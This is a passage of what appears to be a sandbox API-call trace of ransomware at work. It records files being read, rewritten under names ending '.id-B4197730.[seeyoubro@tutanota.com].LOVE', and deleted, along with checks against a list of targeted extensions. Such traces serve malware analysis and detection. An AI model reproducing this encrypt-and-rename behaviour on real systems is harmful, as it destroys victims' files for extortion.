lpNumberOfBytesWritten=0x2c5fc94*=0x90, lpOverlapped=0x0) returned 1 [0194.967] ReadFile (in: hFile=0x2b4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.967] WriteFile (in: hFile=0x2a8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xea, lpOverlapped=0x0) returned 1 [0194.967] SetEndOfFile (hFile=0x2a8) returned 1 [0194.967] CloseHandle (hObject=0x2a8) returned 1 [0194.968] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.968] SetEndOfFile (hFile=0x2b4) returned 1 [0194.969] CloseHandle (hObject=0x2b4) returned 1 [0194.969] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x26) returned 1 [0194.969] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0194.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.970] lstrlenW (lpString=".doc") returned 4 [0194.970] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0194.970] lstrlenW (lpString=".docx") returned 5 [0194.970] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0194.970] lstrlenW (lpString=".pdf") returned 4 [0194.970] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0194.970] lstrlenW (lpString=".xls") returned 4 [0194.970] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0194.970] lstrlenW (lpString=".xlsx") returned 5 [0194.970] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0194.970] lstrlenW (lpString=".ppt") returned 4 [0194.970] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0194.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.970] lstrlenW (lpString=".zip") returned 4 [0194.970] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0194.970] lstrlenW (lpString=".rar") returned 4 [0194.970] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0194.970] lstrlenW (lpString=".bz2") returned 4 [0194.970] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0194.970] lstrlenW (lpString=".7z") returned 3 [0194.970] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0194.970] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.970] lstrlenW (lpString=".dbf") returned 4 [0194.970] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0194.971] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.971] lstrlenW (lpString=".1cd") returned 4 [0194.971] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0194.971] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.971] lstrlenW (lpString=".jpg") returned 4 [0194.971] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0194.971] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.971] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.971] lstrlenW (lpString=".doc") returned 4 [0194.971] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0194.971] lstrlenW (lpString=".docx") returned 5 [0194.971] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0194.971] lstrlenW (lpString=".pdf") returned 4 [0194.971] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0194.971] lstrlenW (lpString=".xls") returned 4 [0194.971] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0194.971] lstrlenW (lpString=".xlsx") returned 5 [0194.971] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0194.971] lstrlenW (lpString=".ppt") returned 4 [0194.971] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0194.971] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.971] lstrlenW (lpString=".zip") returned 4 [0194.971] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0194.971] lstrlenW (lpString=".rar") returned 4 [0194.971] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0194.971] lstrlenW (lpString=".bz2") returned 4 [0194.971] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0194.971] lstrlenW (lpString=".7z") returned 3 [0194.971] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0194.971] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.971] lstrlenW (lpString=".dbf") returned 4 [0194.972] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0194.972] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.972] lstrlenW (lpString=".1cd") returned 4 [0194.972] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0194.972] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0194.972] lstrlenW (lpString=".jpg") returned 4 [0194.972] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0194.972] lstrcmpiW (lpString1=".ini", lpString2=".LOVE") returned -1 [0194.972] lstrlenW (lpString="desktop.ini") returned 11 [0194.972] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.972] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=129) returned 1 [0194.972] CloseHandle (hObject=0x2b4) returned 1 [0194.972] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0194.972] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0194.972] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.973] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.973] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.973] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0194.973] GetLastError () returned 0x0 [0194.973] ReadFile (in: hFile=0x2b4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x81, lpOverlapped=0x0) returned 1 [0194.974] WriteFile (in: hFile=0x2a8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x90, lpOverlapped=0x0) returned 1 [0194.975] ReadFile (in: hFile=0x2b4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.975] WriteFile (in: hFile=0x2a8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xea, lpOverlapped=0x0) returned 1 [0194.975] SetEndOfFile (hFile=0x2a8) returned 1 [0194.975] CloseHandle (hObject=0x2a8) returned 1 [0194.976] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.976] SetEndOfFile (hFile=0x2b4) returned 1 [0194.977] CloseHandle (hObject=0x2b4) returned 1 [0194.977] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x26) returned 1 [0194.977] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0194.977] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.977] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.977] lstrlenW (lpString=".doc") returned 4 [0194.978] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0194.978] lstrlenW (lpString=".docx") returned 5 [0194.978] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0194.978] lstrlenW (lpString=".pdf") returned 4 [0194.978] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0194.978] lstrlenW (lpString=".xls") returned 4 [0194.978] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0194.978] lstrlenW (lpString=".xlsx") returned 5 [0194.978] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0194.978] lstrlenW (lpString=".ppt") returned 4 [0194.978] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0194.978] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.978] lstrlenW (lpString=".zip") returned 4 [0194.978] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0194.978] lstrlenW (lpString=".rar") returned 4 [0194.978] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0194.978] lstrlenW (lpString=".bz2") returned 4 [0194.978] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0194.978] lstrlenW (lpString=".7z") returned 3 [0194.978] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0194.978] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.978] lstrlenW (lpString=".dbf") returned 4 [0194.978] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0194.978] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.978] lstrlenW (lpString=".1cd") returned 4 [0194.978] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0194.978] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.978] lstrlenW (lpString=".jpg") returned 4 [0194.978] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0194.978] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.979] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.979] lstrlenW (lpString=".doc") returned 4 [0194.979] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0194.979] lstrlenW (lpString=".docx") returned 5 [0194.979] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0194.979] lstrlenW (lpString=".pdf") returned 4 [0194.979] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0194.979] lstrlenW (lpString=".xls") returned 4 [0194.979] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0194.979] lstrlenW (lpString=".xlsx") returned 5 [0194.979] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0194.979] lstrlenW (lpString=".ppt") returned 4 [0194.979] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0194.979] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.979] lstrlenW (lpString=".zip") returned 4 [0194.979] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0194.979] lstrlenW (lpString=".rar") returned 4 [0194.979] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0194.979] lstrlenW (lpString=".bz2") returned 4 [0194.979] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0194.979] lstrlenW (lpString=".7z") returned 3 [0194.979] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0194.979] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.979] lstrlenW (lpString=".dbf") returned 4 [0194.979] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0194.979] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.979] lstrlenW (lpString=".1cd") returned 4 [0194.979] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0194.979] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0194.979] lstrlenW (lpString=".jpg") returned 4 [0194.979] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0194.980] lstrcmpiW (lpString1=".rtf", lpString2=".LOVE") returned 1 [0194.980] lstrlenW (lpString="eula.rtf") returned 8 [0194.980] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.981] GetFileSizeEx (in: hFile=0x2b4, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=7567) returned 1 [0194.981] CloseHandle (hObject=0x2b4) returned 1 [0194.981] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0194.981] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0194.981] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b4 [0194.981] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.981] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.981] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2a8 [0194.983] GetLastError () returned 0x0 [0194.984] ReadFile (in: hFile=0x2b4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0194.992] WriteFile (in: hFile=0x2a8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x1d90, lpOverlapped=0x0) returned 1 [0194.993] ReadFile (in: hFile=0x2b4, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.993] WriteFile (in: hFile=0x2a8, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xe4, lpOverlapped=0x0) returned 1 [0194.993] SetEndOfFile (hFile=0x2a8) returned 1 [0194.993] CloseHandle (hObject=0x2a8) returned 1 [0194.994] SetFilePointerEx (in: hFile=0x2b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.994] SetEndOfFile (hFile=0x2b4) returned 1 [0194.995] CloseHandle (hObject=0x2b4) returned 1 [0194.995] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0194.995] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0194.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.995] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.995] lstrlenW (lpString=".doc") returned 4 [0194.996] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0194.996] lstrlenW (lpString=".docx") returned 5 [0194.996] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0194.996] lstrlenW (lpString=".pdf") returned 4 [0194.996] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0194.996] lstrlenW (lpString=".xls") returned 4 [0194.996] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0194.996] lstrlenW (lpString=".xlsx") returned 5 [0194.996] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0194.996] lstrlenW (lpString=".ppt") returned 4 [0194.996] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0194.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.996] lstrlenW (lpString=".zip") returned 4 [0194.996] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0194.996] lstrlenW (lpString=".rar") returned 4 [0194.996] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0194.996] lstrlenW (lpString=".bz2") returned 4 [0194.996] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0194.996] lstrlenW (lpString=".7z") returned 3 [0194.996] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0194.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.996] lstrlenW (lpString=".dbf") returned 4 [0194.996] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0194.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.996] lstrlenW (lpString=".1cd") returned 4 [0194.996] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0194.996] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.996] lstrlenW (lpString=".jpg") returned 4 [0194.996] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0194.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.997] lstrlenW (lpString=".doc") returned 4 [0194.997] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0194.997] lstrlenW (lpString=".docx") returned 5 [0194.997] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0194.997] lstrlenW (lpString=".pdf") returned 4 [0194.997] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0194.997] lstrlenW (lpString=".xls") returned 4 [0194.997] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0194.997] lstrlenW (lpString=".xlsx") returned 5 [0194.997] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0194.997] lstrlenW (lpString=".ppt") returned 4 [0194.997] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0194.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.997] lstrlenW (lpString=".zip") returned 4 [0194.997] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0194.997] lstrlenW (lpString=".rar") returned 4 [0194.997] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0194.997] lstrlenW (lpString=".bz2") returned 4 [0194.997] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0194.997] lstrlenW (lpString=".7z") returned 3 [0194.997] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0194.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.997] lstrlenW (lpString=".dbf") returned 4 [0194.997] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0194.997] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.997] lstrlenW (lpString=".1cd") returned 4 [0194.997] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0194.998] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0194.998] lstrlenW (lpString=".jpg") returned 4 [0194.998] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0194.998] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0194.998] lstrlenW (lpString="LocalizedData.xml") returned 17 [0194.998] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.488] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x2c5ff14 | out: lpFileSize=0x2c5ff14*=74214) returned 1 [0195.488] CloseHandle (hObject=0x2f8) returned 1 [0195.488] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0195.488] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.489] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0195.489] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.489] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.489] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0195.489] GetLastError () returned 0x0 [0195.489] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x121e6, lpOverlapped=0x0) returned 1 [0195.523] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0x121f0, lpOverlapped=0x0) returned 1 [0195.524] ReadFile (in: hFile=0x2f8, lpBuffer=0x3a3a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesRead=0x2c5fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.524] WriteFile (in: hFile=0x2fc, lpBuffer=0x3a3a020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a3a020*, lpNumberOfBytesWritten=0x2c5fc94*=0xf6, lpOverlapped=0x0) returned 1 [0195.524] SetEndOfFile (hFile=0x2fc) returned 1 [0195.525] CloseHandle (hObject=0x2fc) returned 1 [0195.526] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.526] SetEndOfFile (hFile=0x2f8) returned 1 [0195.527] CloseHandle (hObject=0x2f8) returned 1 [0195.527] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.528] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0195.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0195.528] lstrlenW (lpString=".doc") returned 4 [0195.528] lstrcmpiW 